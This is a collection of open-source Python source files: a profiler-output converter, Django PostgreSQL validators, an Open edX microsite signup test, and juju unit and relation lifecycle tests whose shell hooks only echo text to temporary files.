print('%d %d' % (code.co_firstlineno, inlinetime), file=out_file)
# recursive calls are counted in entry.calls
if entry.calls:
calls = entry.calls
else:
calls = []
if isinstance(code, str):
lineno = 0
else:
lineno = code.co_firstlineno
for subentry in calls:
self._subentry(lineno, subentry)
print(file=out_file)
def _subentry(self, lineno, subentry):
out_file = self.out_file
code = subentry.code
#print >> out_file, 'cob=%s' % (code.co_filename,)
print('cfn=%s' % (label(code),), file=out_file)
if isinstance(code, str):
print('cfi=~', file=out_file)
print('calls=%d 0' % (subentry.callcount,), file=out_file)
else:
print('cfi=%s' % (code.co_filename,), file=out_file)
print('calls=%d %d' % (
subentry.callcount, code.co_firstlineno), file=out_file)
totaltime = int(subentry.totaltime * 1000)
print('%d %d' % (lineno, totaltime), file=out_file)
def main(args):
usage = "%s [-o output_file_path] scriptfile [arg] ..."
parser = optparse.OptionParser(usage=usage % sys.argv[0])
parser.allow_interspersed_args = False
parser.add_option('-o', '--outfile', dest="outfile",
help="Save stats to <outfile>", default=None)
if not sys.argv[1:]:
parser.print_usage()
sys.exit(2)
options, args = parser.parse_args()
if not options.outfile:
options.outfile = '%s.log' % os.path.basename(args[0])
sys.argv[:] = args
prof = cProfile.Profile()
try:
try:
prof = prof.run('execfile(%r)' % (sys.argv[0],))
except SystemExit:
pass
finally:
kg = KCacheGrind(prof)
kg.output(file(options.outfile, 'w'))
if __name__ == '__main__':
sys.exit(main(sys.argv))
| bsd-3-clause |
kenshay/ImageScripter | ProgramData/SystemFiles/Python/Lib/site-packages/django/contrib/postgres/validators.py | 115 | 2772 | import copy
from django.core.exceptions import ValidationError
from django.core.validators import (
MaxLengthValidator, MaxValueValidator, MinLengthValidator,
MinValueValidator,
)
from django.utils.deconstruct import deconstructible
from django.utils.translation import ugettext_lazy as _, ungettext_lazy
class ArrayMaxLengthValidator(MaxLengthValidator):
message = ungettext_lazy(
'List contains %(show_value)d item, it should contain no more than %(limit_value)d.',
'List contains %(show_value)d items, it should contain no more than %(limit_value)d.',
'limit_value')
class ArrayMinLengthValidator(MinLengthValidator):
message = ungettext_lazy(
'List contains %(show_value)d item, it should contain no fewer than %(limit_value)d.',
'List contains %(show_value)d items, it should contain no fewer than %(limit_value)d.',
'limit_value')
@deconstructible
class KeysValidator(object):
"""A validator designed for HStore to require/restrict keys."""
messages = {
'missing_keys': _('Some keys were missing: %(keys)s'),
'extra_keys': _('Some unknown keys were provided: %(keys)s'),
}
strict = False
def __init__(self, keys, strict=False, messages=None):
self.keys = set(keys)
self.strict = strict
if messages is not None:
self.messages = copy.copy(self.messages)
self.messages.update(messages)
def __call__(self, value):
keys = set(value.keys())
missing_keys = self.keys - keys
if missing_keys:
raise ValidationError(
self.messages['missing_keys'],
code='missing_keys',
params={'keys': ', '.join(missing_keys)},
)
if self.strict:
extra_keys = keys - self.keys
if extra_keys:
raise ValidationError(
self.messages['extra_keys'],
code='extra_keys',
params={'keys': ', '.join(extra_keys)},
)
def __eq__(self, other):
return (
isinstance(other, self.__class__) and
self.keys == other.keys and
self.messages == other.messages and
self.strict == other.strict
)
def __ne__(self, other):
return not (self == other)
class RangeMaxValueValidator(MaxValueValidator):
def compare(self, a, b):
return a.upper > b
message = _('Ensure that this range is completely less than or equal to %(limit_value)s.')
class RangeMinValueValidator(MinValueValidator):
def compare(self, a, b):
return a.lower < b
message = _('Ensure that this range is completely greater than or equal to %(limit_value)s.')
| gpl-3.0 |
ovnicraft/edx-platform | common/djangoapps/student/tests/test_microsite.py | 79 | 3869 | """
Test for User Creation from Micro-Sites
"""
from django.test import TestCase
from student.models import UserSignupSource
import mock
import json
from django.core.urlresolvers import reverse
from django.contrib.auth.models import User
FAKE_MICROSITE = {
"SITE_NAME": "openedx.localhost",
"university": "fakeuniversity",
"course_org_filter": "fakeorg",
"platform_name": "Fake University",
"email_from_address": "no-reply@fakeuniversity.com",
"REGISTRATION_EXTRA_FIELDS": {
"address1": "required",
"city": "required",
"state": "required",
"country": "required",
"company": "required",
"title": "required"
},
"extended_profile_fields": [
"address1", "state", "company", "title"
]
}
def fake_site_name(name, default=None):
"""
create a fake microsite site name
"""
if name == 'SITE_NAME':
return 'openedx.localhost'
else:
return default
def fake_microsite_get_value(name, default=None):
"""
create a fake microsite site name
"""
return FAKE_MICROSITE.get(name, default)
class TestMicrosite(TestCase):
"""Test for Account Creation from a white labeled Micro-Sites"""
def setUp(self):
super(TestMicrosite, self).setUp()
self.username = "test_user"
self.url = reverse("create_account")
self.params = {
"username": self.username,
"email": "test@example.org",
"password": "testpass",
"name": "Test User",
"honor_code": "true",
"terms_of_service": "true",
}
self.extended_params = dict(self.params.items() + {
"address1": "foo",
"city": "foo",
"state": "foo",
"country": "foo",
"company": "foo",
"title": "foo"
}.items())
@mock.patch("microsite_configuration.microsite.get_value", fake_site_name)
def test_user_signup_source(self):
"""
test to create a user form the microsite and see that it record has been
saved in the UserSignupSource Table
"""
response = self.client.post(self.url, self.params)
self.assertEqual(response.status_code, 200)
self.assertGreater(len(UserSignupSource.objects.filter(site='openedx.localhost')), 0)
def test_user_signup_from_non_micro_site(self):
"""
test to create a user form the non-microsite. The record should not be saved
in the UserSignupSource Table
"""
response = self.client.post(self.url, self.params)
self.assertEqual(response.status_code, 200)
self.assertEqual(len(UserSignupSource.objects.filter(site='openedx.localhost')), 0)
@mock.patch("microsite_configuration.microsite.get_value", fake_microsite_get_value)
def test_user_signup_missing_enhanced_profile(self):
"""
test to create a user form the microsite but don't provide any of the microsite specific
profile information
"""
response = self.client.post(self.url, self.params)
self.assertEqual(response.status_code, 400)
@mock.patch("microsite_configuration.microsite.get_value", fake_microsite_get_value)
def test_user_signup_including_enhanced_profile(self):
"""
test to create a user form the microsite but don't provide any of the microsite specific
profile information
"""
response = self.client.post(self.url, self.extended_params)
self.assertEqual(response.status_code, 200)
user = User.objects.get(username=self.username)
meta = json.loads(user.profile.meta)
self.assertEqual(meta['address1'], 'foo')
self.assertEqual(meta['state'], 'foo')
self.assertEqual(meta['company'], 'foo')
self.assertEqual(meta['title'], 'foo')
| agpl-3.0 |
mcclurmc/juju | juju/unit/tests/test_lifecycle.py | 1 | 37560 | import logging
import os
import sys
import StringIO
import stat
import yaml
import zookeeper
from twisted.internet.defer import inlineCallbacks, Deferred, fail, returnValue
from juju.unit.lifecycle import (
UnitLifecycle, UnitRelationLifecycle, RelationInvoker)
from juju.unit.workflow import RelationWorkflowState
from juju.hooks.invoker import Invoker
from juju.hooks.executor import HookExecutor
from juju.errors import CharmInvocationError, CharmError
from juju.state.endpoint import RelationEndpoint
from juju.state.relation import ClientServerUnitWatcher
from juju.state.service import NO_HOOKS
from juju.state.tests.test_relation import RelationTestBase
from juju.state.hook import RelationChange
from juju.lib.testing import TestCase
from juju.lib.mocker import MATCH
class LifecycleTestBase(RelationTestBase):
juju_directory = None
@inlineCallbacks
def setUp(self):
yield super(LifecycleTestBase, self).setUp()
if self.juju_directory is None:
self.juju_directory = self.makeDir()
self.hook_log = self.capture_logging("hook.output",
level=logging.DEBUG)
self.agent_log = self.capture_logging("unit-agent",
level=logging.DEBUG)
self.executor = HookExecutor()
self.executor.start()
self.change_environment(
PATH=os.environ["PATH"],
JUJU_UNIT_NAME="service-unit/0")
@inlineCallbacks
def setup_default_test_relation(self):
mysql_ep = RelationEndpoint(
"mysql", "client-server", "app", "server")
wordpress_ep = RelationEndpoint(
"wordpress", "client-server", "db", "client")
self.states = yield self.add_relation_service_unit_from_endpoints(
mysql_ep, wordpress_ep)
self.unit_directory = os.path.join(self.juju_directory,
"units",
self.states["unit"].unit_name.replace("/", "-"))
os.makedirs(os.path.join(self.unit_directory, "charm", "hooks"))
os.makedirs(os.path.join(self.juju_directory, "state"))
def write_hook(self, name, text, no_exec=False):
hook_path = os.path.join(self.unit_directory, "charm", "hooks", name)
hook_file = open(hook_path, "w")
hook_file.write(text.strip())
hook_file.flush()
hook_file.close()
if not no_exec:
os.chmod(hook_path, stat.S_IRWXU)
return hook_path
def wait_on_hook(self, name=None, count=None, sequence=(), debug=False,
executor=None):
"""Wait on the given named hook to be executed.
@param: name: if specified only one hook name can be waited on
at a given time.
@param: count: Multiples of the same name can be captured by specifying
the count parameter.
@param: sequence: A list of hook names executed in sequence to
be waited on
@param: debug: This parameter enables debug stdout loogging.
@param: executor: A HookExecutor instance to use instead of the default
"""
d = Deferred()
results = []
assert name is not None or sequence, "Hook match must be specified"
def observer(hook_path):
hook_name = os.path.basename(hook_path)
results.append(hook_name)
if debug:
print "-> exec hook", hook_name
if d.called:
return
if results == sequence:
d.callback(True)
if hook_name == name and count is None:
d.callback(True)
if hook_name == name and results.count(hook_name) == count:
d.callback(True)
executor = executor or self.executor
executor.set_observer(observer)
return d
def wait_on_state(self, workflow, state, debug=False):
state_changed = Deferred()
def observer(workflow_state, state_variables):
if debug:
print " workflow state", state, workflow
if workflow_state == state:
state_changed.callback(True)
workflow.set_observer(observer)
return state_changed
def capture_output(self, stdout=True):
"""Convience method to capture log output.
Useful tool for observing interaction between components.
"""
if stdout:
output = sys.stdout
else:
output = StringIO.StringIO()
for log_name, indent in (
("statemachine", 0),
("hook.executor", 2),
("hook.scheduler", 1),
("unit.lifecycle", 1),
("unit.relation.watch", 1),
("unit.relation.lifecycle", 1)):
formatter = logging.Formatter(
(" " * indent) + "%(name)s: %(message)s")
self.capture_logging(
log_name, level=logging.DEBUG,
log_file=output, formatter=formatter)
print
return output
class LifecycleResolvedTest(LifecycleTestBase):
@inlineCallbacks
def setUp(self):
yield super(LifecycleResolvedTest, self).setUp()
yield self.setup_default_test_relation()
self.lifecycle = UnitLifecycle(
self.client, self.states["unit"], self.states["service"],
self.unit_directory, self.executor)
def get_unit_relation_workflow(self, states):
state_dir = os.path.join(self.juju_directory, "state")
lifecycle = UnitRelationLifecycle(
self.client,
states["unit_relation"],
states["service_relation"].relation_name,
self.unit_directory,
self.executor)
workflow = RelationWorkflowState(
self.client,
states["unit_relation"],
lifecycle,
state_dir)
return (workflow, lifecycle)
@inlineCallbacks
def wb_test_start_with_relation_errors(self):
"""
White box testing to ensure that an error when starting the
lifecycle is propogated appropriately, and that we collect
all results before returning.
"""
mock_service = self.mocker.patch(self.lifecycle._service)
mock_service.watch_relation_states(MATCH(lambda x: callable(x)))
self.mocker.result(fail(SyntaxError()))
mock_unit = self.mocker.patch(self.lifecycle._unit)
mock_unit.watch_relation_resolved(MATCH(lambda x: callable(x)))
results = []
wait = Deferred()
@inlineCallbacks
def complete(*args):
yield wait
results.append(True)
returnValue(True)
self.mocker.call(complete)
self.mocker.replay()
# Start the unit, assert a failure, and capture the deferred
wait_failure = self.assertFailure(self.lifecycle.start(), SyntaxError)
# Verify we have no results for the second callback or the start call
self.assertFalse(results)
self.assertFalse(wait_failure.called)
# Let the second callback complete
wait.callback(True)
# Wait for the start error to bubble up.
yield wait_failure
# Verify the second deferred was waited on.
self.assertTrue(results)
@inlineCallbacks
def test_resolved_relation_watch_unit_lifecycle_not_running(self):
"""If the unit is not running then no relation resolving is performed.
However the resolution value remains the same.
"""
# Start the unit.
yield self.lifecycle.start()
# Simulate relation down on an individual unit relation
workflow = self.lifecycle.get_relation_workflow(
self.states["unit_relation"].internal_relation_id)
self.assertEqual("up", (yield workflow.get_state()))
yield workflow.transition_state("down")
resolved = self.wait_on_state(workflow, "up")
# Stop the unit lifecycle
yield self.lifecycle.stop()
# Set the relation to resolved
yield self.states["unit"].set_relation_resolved(
{self.states["unit_relation"].internal_relation_id: NO_HOOKS})
# Give a moment for the watch to fire erroneously
yield self.sleep(0.2)
# Ensure we didn't attempt a transition.
self.assertFalse(resolved.called)
self.assertEqual(
{self.states["unit_relation"].internal_relation_id: NO_HOOKS},
(yield self.states["unit"].get_relation_resolved()))
# If the unit is restarted start, we currently have the
# behavior that the unit relation workflow will automatically
# be transitioned back to running, as part of the normal state
# transition. Sigh.. we should have a separate error
# state for relation hooks then down with state variable usage.
# The current end behavior though seems like the best outcome, ie.
# automatically restart relations.
@inlineCallbacks
def test_resolved_relation_watch_relation_up(self):
"""If a relation marked as to be resolved is already running,
then no work is performed.
"""
# Start the unit.
yield self.lifecycle.start()
# get a hold of the unit relation and verify state
workflow = self.lifecycle.get_relation_workflow(
self.states["unit_relation"].internal_relation_id)
self.assertEqual("up", (yield workflow.get_state()))
# Set the relation to resolved
yield self.states["unit"].set_relation_resolved(
{self.states["unit_relation"].internal_relation_id: NO_HOOKS})
# Give a moment for the watch to fire, invoke callback, and reset.
yield self.sleep(0.1)
# Ensure we're still up and the relation resolved setting has been
# cleared.
self.assertEqual(
None, (yield self.states["unit"].get_relation_resolved()))
self.assertEqual("up", (yield workflow.get_state()))
@inlineCallbacks
def test_resolved_relation_watch_from_error(self):
"""Unit lifecycle's will process a unit relation resolved
setting, and transition a down relation back to a running
state.
"""
log_output = self.capture_logging(
"unit.lifecycle", level=logging.DEBUG)
# Start the unit.
yield self.lifecycle.start()
# Simulate an error condition
workflow = self.lifecycle.get_relation_workflow(
self.states["unit_relation"].internal_relation_id)
self.assertEqual("up", (yield workflow.get_state()))
yield workflow.fire_transition("error")
resolved = self.wait_on_state(workflow, "up")
# Set the relation to resolved
yield self.states["unit"].set_relation_resolved(
{self.states["unit_relation"].internal_relation_id: NO_HOOKS})
# Wait for the relation to come back up
value = yield self.states["unit"].get_relation_resolved()
yield resolved
# Verify state
value = yield workflow.get_state()
self.assertEqual(value, "up")
self.assertIn(
"processing relation resolved changed", log_output.getvalue())
@inlineCallbacks
def test_resolved_relation_watch(self):
"""Unit lifecycle's will process a unit relation resolved
setting, and transition a down relation back to a running
state.
"""
log_output = self.capture_logging(
"unit.lifecycle", level=logging.DEBUG)
# Start the unit.
yield self.lifecycle.start()
# Simulate an error condition
workflow = self.lifecycle.get_relation_workflow(
self.states["unit_relation"].internal_relation_id)
self.assertEqual("up", (yield workflow.get_state()))
yield workflow.transition_state("down")
resolved = self.wait_on_state(workflow, "up")
# Set the relation to resolved
yield self.states["unit"].set_relation_resolved(
{self.states["unit_relation"].internal_relation_id: NO_HOOKS})
# Wait for the relation to come back up
value = yield self.states["unit"].get_relation_resolved()
yield resolved
# Verify state
value = yield workflow.get_state()
self.assertEqual(value, "up")
self.assertIn(
"processing relation resolved changed", log_output.getvalue())
class UnitLifecycleTest(LifecycleTestBase):
@inlineCallbacks
def setUp(self):
yield super(UnitLifecycleTest, self).setUp()
yield self.setup_default_test_relation()
self.lifecycle = UnitLifecycle(
self.client, self.states["unit"], self.states["service"],
self.unit_directory, self.executor)
@inlineCallbacks
def test_hook_invocation(self):
"""Verify lifecycle methods invoke corresponding charm hooks.
"""
# install hook
file_path = self.makeFile()
self.write_hook(
"install",
'#!/bin/sh\n echo "hello world" > %s' % file_path)
yield self.lifecycle.install()
self.assertEqual(open(file_path).read().strip(), "hello world")
# Start hook
file_path = self.makeFile()
self.write_hook(
"start",
'#!/bin/sh\n echo "sugarcane" > %s' % file_path)
yield self.lifecycle.start()
self.assertEqual(open(file_path).read().strip(), "sugarcane")
# Stop hook
file_path = self.makeFile()
self.write_hook(
"stop",
'#!/bin/sh\n echo "siesta" > %s' % file_path)
yield self.lifecycle.stop()
self.assertEqual(open(file_path).read().strip(), "siesta")
# verify the sockets are cleaned up.
self.assertEqual(os.listdir(self.unit_directory), ["charm"])
@inlineCallbacks
def test_start_sans_hook(self):
"""The lifecycle start can be invoked without firing hooks."""
self.write_hook("start", "#!/bin/sh\n exit 1")
start_executed = self.wait_on_hook("start")
yield self.lifecycle.start(fire_hooks=False)
self.assertFalse(start_executed.called)
@inlineCallbacks
def test_stop_sans_hook(self):
"""The lifecycle stop can be invoked without firing hooks."""
self.write_hook("stop", "#!/bin/sh\n exit 1")
stop_executed = self.wait_on_hook("stop")
yield self.lifecycle.start()
yield self.lifecycle.stop(fire_hooks=False)
self.assertFalse(stop_executed.called)
@inlineCallbacks
def test_install_sans_hook(self):
"""The lifecycle install can be invoked without firing hooks."""
self.write_hook("install", "#!/bin/sh\n exit 1")
install_executed = self.wait_on_hook("install")
yield self.lifecycle.install(fire_hooks=False)
self.assertFalse(install_executed.called)
@inlineCallbacks
def test_upgrade_sans_hook(self):
"""The lifecycle upgrade can be invoked without firing hooks."""
self.executor.stop()
self.write_hook("upgrade-charm", "#!/bin/sh\n exit 1")
upgrade_executed = self.wait_on_hook("upgrade-charm")
yield self.lifecycle.upgrade_charm(fire_hooks=False)
self.assertFalse(upgrade_executed.called)
self.assertTrue(self.executor.running)
def test_hook_error(self):
"""Verify hook execution error, raises an exception."""
self.write_hook("install", '#!/bin/sh\n exit 1')
d = self.lifecycle.install()
return self.failUnlessFailure(d, CharmInvocationError)
def test_hook_not_executable(self):
"""A hook not executable, raises an exception."""
self.write_hook("install", '#!/bin/sh\n exit 0', no_exec=True)
return self.failUnlessFailure(
self.lifecycle.install(), CharmError)
def test_hook_not_formatted_correctly(self):
"""Hook execution error, raises an exception."""
self.write_hook("install", '!/bin/sh\n exit 0')
return self.failUnlessFailure(
self.lifecycle.install(), CharmInvocationError)
def write_start_and_relation_hooks(self, relation_name=None):
"""Write some minimal start, and relation-changed hooks.
Returns the output file of the relation hook.
"""
file_path = self.makeFile()
if relation_name is None:
relation_name = self.states["service_relation"].relation_name
self.write_hook("start", ("#!/bin/bash\n" "echo hello"))
self.write_hook("config-changed", ("#!/bin/bash\n" "echo configure"))
self.write_hook("stop", ("#!/bin/bash\n" "echo goodbye"))
self.write_hook(
"%s-relation-joined" % relation_name,
("#!/bin/bash\n" "echo joined >> %s\n" % file_path))
self.write_hook(
"%s-relation-changed" % relation_name,
("#!/bin/bash\n" "echo changed >> %s\n" % file_path))
self.write_hook(
"%s-relation-departed" % relation_name,
("#!/bin/bash\n" "echo departed >> %s\n" % file_path))
self.assertFalse(os.path.exists(file_path))
return file_path
@inlineCallbacks
def test_upgrade_hook_invoked_on_upgrade_charm(self):
"""Invoking the upgrade_charm lifecycle method executes the
upgrade-charm hook.
"""
file_path = self.makeFile("")
self.write_hook(
"upgrade-charm",
("#!/bin/bash\n" "echo upgraded >> %s\n" % file_path))
# upgrade requires the external actor that extracts the charm
# to stop the hook executor, prior to extraction so the
# upgrade is the first hook run.
yield self.executor.stop()
yield self.lifecycle.upgrade_charm()
self.assertEqual(open(file_path).read().strip(), "upgraded")
@inlineCallbacks
def test_config_hook_invoked_on_configure(self):
"""Invoke the configure lifecycle method will execute the
config-changed hook.
"""
output = self.capture_logging("unit.lifecycle", level=logging.DEBUG)
# configure hook requires a running unit lifecycle..
yield self.assertFailure(self.lifecycle.configure(), AssertionError)
# Config hook
file_path = self.makeFile()
self.write_hook(
"config-changed",
'#!/bin/sh\n echo "palladium" > %s' % file_path)
yield self.lifecycle.start()
yield self.lifecycle.configure()
self.assertEqual(open(file_path).read().strip(), "palladium")
self.assertIn("configured unit", output.getvalue())
@inlineCallbacks
def test_service_relation_watching(self):
"""When the unit lifecycle is started, the assigned relations
of the service are watched, with unit relation lifecycles
created for each.
Relation hook invocation do not maintain global order or determinism
across relations. They only maintain ordering and determinism within
a relation. A shared scheduler across relations would be needed to
maintain such behavior.
"""
file_path = self.write_start_and_relation_hooks()
wordpress1_states = yield self.add_opposite_service_unit(self.states)
yield self.lifecycle.start()
yield self.wait_on_hook("app-relation-changed")
self.assertTrue(os.path.exists(file_path))
self.assertEqual([x.strip() for x in open(file_path).readlines()],
["joined", "changed"])
# Queue up our wait condition, of 4 hooks firing
hooks_complete = self.wait_on_hook(
sequence=[
"app-relation-joined", # joined event fires join hook,
"app-relation-changed", # followed by changed hook
"app-relation-changed",
"app-relation-departed"])
# add another.
wordpress2_states = yield self.add_opposite_service_unit(
(yield self.add_relation_service_unit_to_another_endpoint(
self.states,
RelationEndpoint(
"wordpress-2", "client-server", "db", "client"))))
# modify one.
wordpress1_states["unit_relation"].set_data(
{"hello": "world"})
# delete one.
self.client.delete(
"/relations/%s/client/%s" % (
wordpress2_states["relation"].internal_id,
wordpress2_states["unit"].internal_id))
# verify results, waiting for hooks to complete
yield hooks_complete
self.assertEqual(
set([x.strip() for x in open(file_path).readlines()]),
set(["joined", "changed", "joined", "changed", "departed"]))
@inlineCallbacks
def test_removed_relation_depart(self):
"""
If a removed relation is detected, the unit relation lifecycle is
stopped.
"""
file_path = self.write_start_and_relation_hooks()
self.write_hook("app-relation-broken", "#!/bin/bash\n echo broken")
yield self.lifecycle.start()
wordpress_states = yield self.add_opposite_service_unit(self.states)
# Wait for the watch and hook to fire.
yield self.wait_on_hook("app-relation-changed")
self.assertTrue(os.path.exists(file_path))
self.assertEqual([x.strip() for x in open(file_path).readlines()],
["joined", "changed"])
self.assertTrue(self.lifecycle.get_relation_workflow(
self.states["relation"].internal_id))
# Remove the relation between mysql and wordpress
yield self.relation_manager.remove_relation_state(
self.states["relation"])
# Wait till the unit relation workflow has been processed the event.
yield self.wait_on_state(
self.lifecycle.get_relation_workflow(
self.states["relation"].internal_id),
"departed")
# Modify the unit relation settings, to generate a spurious event.
yield wordpress_states["unit_relation"].set_data(
{"hello": "world"})
# Verify no notice was recieved for the modify before we where stopped.
self.assertEqual([x.strip() for x in open(file_path).readlines()],
["joined", "changed"])
# Verify the unit relation lifecycle has been disposed of.
self.assertRaises(KeyError,
self.lifecycle.get_relation_workflow,
self.states["relation"].internal_id)
@inlineCallbacks
def test_lifecycle_start_stop_starts_relations(self):
"""Starting a stopped lifecycle, restarts relation events.
"""
wordpress1_states = yield self.add_opposite_service_unit(self.states)
wordpress2_states = yield self.add_opposite_service_unit(
(yield self.add_relation_service_unit_to_another_endpoint(
self.states,
RelationEndpoint(
"wordpress-2", "client-server", "db", "client"))))
# Start and stop lifecycle
file_path = self.write_start_and_relation_hooks()
yield self.lifecycle.start()
yield self.wait_on_hook("app-relation-changed")
self.assertTrue(os.path.exists(file_path))
yield self.lifecycle.stop()
########################################################
# Add, remove relations, and modify related unit settings.
# The following isn't enough to trigger a hook notification.
# yield wordpress1_states["relation"].unassign_service(
# wordpress1_states["service"])
#
# The removal of the external relation, means we stop getting notifies
# of it, but the underlying unit agents of the service are responsible
# for removing their presence nodes within the relationship, which
# triggers a hook invocation.
yield self.client.delete("/relations/%s/client/%s" % (
wordpress1_states["relation"].internal_id,
wordpress1_states["unit"].internal_id))
yield wordpress2_states["unit_relation"].set_data(
{"hello": "world"})
yield self.add_opposite_service_unit(
(yield self.add_relation_service_unit_to_another_endpoint(
self.states,
RelationEndpoint(
"wordpress-3", "client-server", "db", "client"))))
# Verify no hooks are executed.
yield self.sleep(0.1)
res = [x.strip() for x in open(file_path)]
if ((res != ["joined", "changed", "joined", "changed"])
and
(res != ["joined", "joined", "changed", "changed"])):
self.fail("Invalid join sequence %s" % res)
# XXX - With scheduler local state recovery, we should get the modify.
# Start and verify events.
hooks_executed = self.wait_on_hook(
sequence=[
"config-changed",
"start",
"app-relation-departed",
"app-relation-joined", # joined event fires joined hook,
"app-relation-changed" # followed by changed hook
])
yield self.lifecycle.start()
yield hooks_executed
res.extend(["departed", "joined", "changed"])
self.assertEqual([x.strip() for x in open(file_path)],
res)
@inlineCallbacks
def test_lock_start_stop_watch(self):
"""The lifecycle, internally employs lock to prevent simulatenous
execution of methods which modify internal state. This allows
for a long running hook to be called safely, even if the other
invocations of the lifecycle, the subsequent invocations will
block till they can acquire the lock.
"""
self.write_hook("start", "#!/bin/bash\necho start\n")
self.write_hook("stop", "#!/bin/bash\necho stop\n")
results = []
finish_callback = [Deferred() for i in range(4)]
# Control the speed of hook execution
original_invoker = Invoker.__call__
invoker = self.mocker.patch(Invoker)
@inlineCallbacks
def long_hook(ctx, hook_path):
results.append(os.path.basename(hook_path))
yield finish_callback[len(results) - 1]
yield original_invoker(ctx, hook_path)
for i in range(4):
invoker(
MATCH(lambda x: x.endswith("start") or x.endswith("stop")))
self.mocker.call(long_hook, with_object=True)
self.mocker.replay()
# Hook execution sequence to match on.
test_complete = self.wait_on_hook(sequence=["config-changed",
"start",
"stop",
"config-changed",
"start"])
# Fire off the lifecycle methods
execution_callbacks = [self.lifecycle.start(),
self.lifecycle.stop(),
self.lifecycle.start(),
self.lifecycle.stop()]
self.assertEqual([0, 0, 0, 0],
[x.called for x in execution_callbacks])
# kill the delay on the second
finish_callback[1].callback(True)
finish_callback[2].callback(True)
self.assertEqual([0, 0, 0, 0],
[x.called for x in execution_callbacks])
# let them pass, kill the delay on the first
finish_callback[0].callback(True)
yield test_complete
self.assertEqual([False, True, True, False],
[x.called for x in execution_callbacks])
# Finish the last hook
finish_callback[3].callback(True)
yield self.wait_on_hook("stop")
self.assertEqual([True, True, True, True],
[x.called for x in execution_callbacks])
class RelationInvokerTest(TestCase):
def test_relation_invoker_environment(self):
"""Verify the relation invoker has populated the environment as per
charm specification of hook invocation."""
self.change_environment(
PATH=os.environ["PATH"],
JUJU_UNIT_NAME="service-unit/0")
change = RelationChange("clients", "joined", "s/2")
unit_hook_path = self.makeDir()
invoker = RelationInvoker(None, change, "", "", unit_hook_path, None)
environ = invoker.get_environment()
self.assertEqual(environ["JUJU_RELATION"], "clients")
self.assertEqual(environ["JUJU_REMOTE_UNIT"], "s/2")
self.assertEqual(environ["CHARM_DIR"],
os.path.join(unit_hook_path, "charm"))
class UnitRelationLifecycleTest(LifecycleTestBase):
hook_template = (
"#!/bin/bash\n"
"echo %(change_type)s >> %(file_path)s\n"
"echo JUJU_RELATION=$JUJU_RELATION >> %(file_path)s\n"
"echo JUJU_REMOTE_UNIT=$JUJU_REMOTE_UNIT >> %(file_path)s")
@inlineCallbacks
def setUp(self):
yield super(UnitRelationLifecycleTest, self).setUp()
yield self.setup_default_test_relation()
self.relation_name = self.states["service_relation"].relation_name
self.lifecycle = UnitRelationLifecycle(
self.client,
self.states["unit"].unit_name,
self.states["unit_relation"],
self.states["service_relation"].relation_name,
self.unit_directory,
self.executor)
self.log_stream = self.capture_logging("unit.relation.lifecycle",
logging.DEBUG)
@inlineCallbacks
def test_initial_start_lifecycle_no_related_no_exec(self):
"""
If there are no related units on startup, the relation joined hook
is not invoked.
"""
file_path = self.makeFile()
self.write_hook(
"%s-relation-changed" % self.relation_name,
("/bin/bash\n" "echo executed >> %s\n" % file_path))
yield self.lifecycle.start()
self.assertFalse(os.path.exists(file_path))
@inlineCallbacks
def test_stop_can_continue_watching(self):
"""
"""
file_path = self.makeFile()
self.write_hook(
"%s-relation-changed" % self.relation_name,
("#!/bin/bash\n" "echo executed >> %s\n" % file_path))
rel_states = yield self.add_opposite_service_unit(self.states)
yield self.lifecycle.start()
yield self.wait_on_hook(
sequence=["app-relation-joined", "app-relation-changed"])
changed_executed = self.wait_on_hook("app-relation-changed")
yield self.lifecycle.stop(watches=False)
rel_states["unit_relation"].set_data(yaml.dump(dict(hello="world")))
# Sleep to give an error a chance.
yield self.sleep(0.1)
self.assertFalse(changed_executed.called)
yield self.lifecycle.start(watches=False)
yield changed_executed
@inlineCallbacks
def test_initial_start_lifecycle_with_related(self):
"""
If there are related units on startup, the relation changed hook
is invoked.
"""
yield self.add_opposite_service_unit(self.states)
file_path = self.makeFile()
self.write_hook("%s-relation-joined" % self.relation_name,
self.hook_template % dict(change_type="joined",
file_path=file_path))
self.write_hook("%s-relation-changed" % self.relation_name,
self.hook_template % dict(change_type="changed",
file_path=file_path))
yield self.lifecycle.start()
yield self.wait_on_hook(
sequence=["app-relation-joined", "app-relation-changed"])
self.assertTrue(os.path.exists(file_path))
contents = open(file_path).read()
self.assertEqual(contents,
("joined\n"
"JUJU_RELATION=app\n"
"JUJU_REMOTE_UNIT=wordpress/0\n"
"changed\n"
"JUJU_RELATION=app\n"
"JUJU_REMOTE_UNIT=wordpress/0\n"))
@inlineCallbacks
def test_hooks_executed_during_lifecycle_start_stop_start(self):
"""If the unit relation lifecycle is stopped, hooks will no longer
be executed."""
file_path = self.makeFile()
self.write_hook("%s-relation-joined" % self.relation_name,
self.hook_template % dict(change_type="joined",
file_path=file_path))
self.write_hook("%s-relation-changed" % self.relation_name,
self.hook_template % dict(change_type="changed",
file_path=file_path))
# starting is async
yield self.lifecycle.start()
# stopping is sync.
self.lifecycle.stop()
# Add a related unit.
yield self.add_opposite_service_unit(self.states)
# Give a chance for things to go bad
yield self.sleep(0.1)
self.assertFalse(os.path.exists(file_path))
# Now start again
yield self.lifecycle.start()
# Verify we get our join event.
yield self.wait_on_hook("app-relation-changed")
self.assertTrue(os.path.exists(file_path))
@inlineCallbacks
def test_hook_error_handler(self):
# use an error handler that completes async.
self.write_hook("app-relation-joined", "#!/bin/bash\nexit 0\n")
self.write_hook("app-relation-changed", "#!/bin/bash\nexit 1\n")
results = []
finish_callback = Deferred()
@inlineCallbacks
def error_handler(change, e):
yield self.client.create(
"/errors", str(e),
flags=zookeeper.EPHEMERAL | zookeeper.SEQUENCE)
results.append((change.change_type, e))
yield self.lifecycle.stop()
finish_callback.callback(True)
self.lifecycle.set_hook_error_handler(error_handler)
# Add a related unit.
yield self.add_opposite_service_unit(self.states)
yield self.lifecycle.start()
yield finish_callback
self.assertEqual(len(results), 1)
self.assertTrue(results[0][0], "joined")
self.assertTrue(isinstance(results[0][1], CharmInvocationError))
hook_relative_path = "charm/hooks/app-relation-changed"
output = (
"started relation:app lifecycle",
"Executing hook app-relation-joined",
"Executing hook app-relation-changed",
"Error in app-relation-changed hook: %s '%s/%s': exit code 1." % (
"Error processing",
self.unit_directory, hook_relative_path),
"Invoked error handler for app-relation-changed hook",
"stopped relation:app lifecycle\n")
self.assertEqual(self.log_stream.getvalue(), "\n".join(output))
@inlineCallbacks
def test_depart(self):
"""If a relation is departed, the depart hook is executed.
"""
file_path = self.makeFile()
self.write_hook("%s-relation-joined" % self.relation_name,
"#!/bin/bash\n echo joined")
self.write_hook("%s-relation-changed" % self.relation_name,
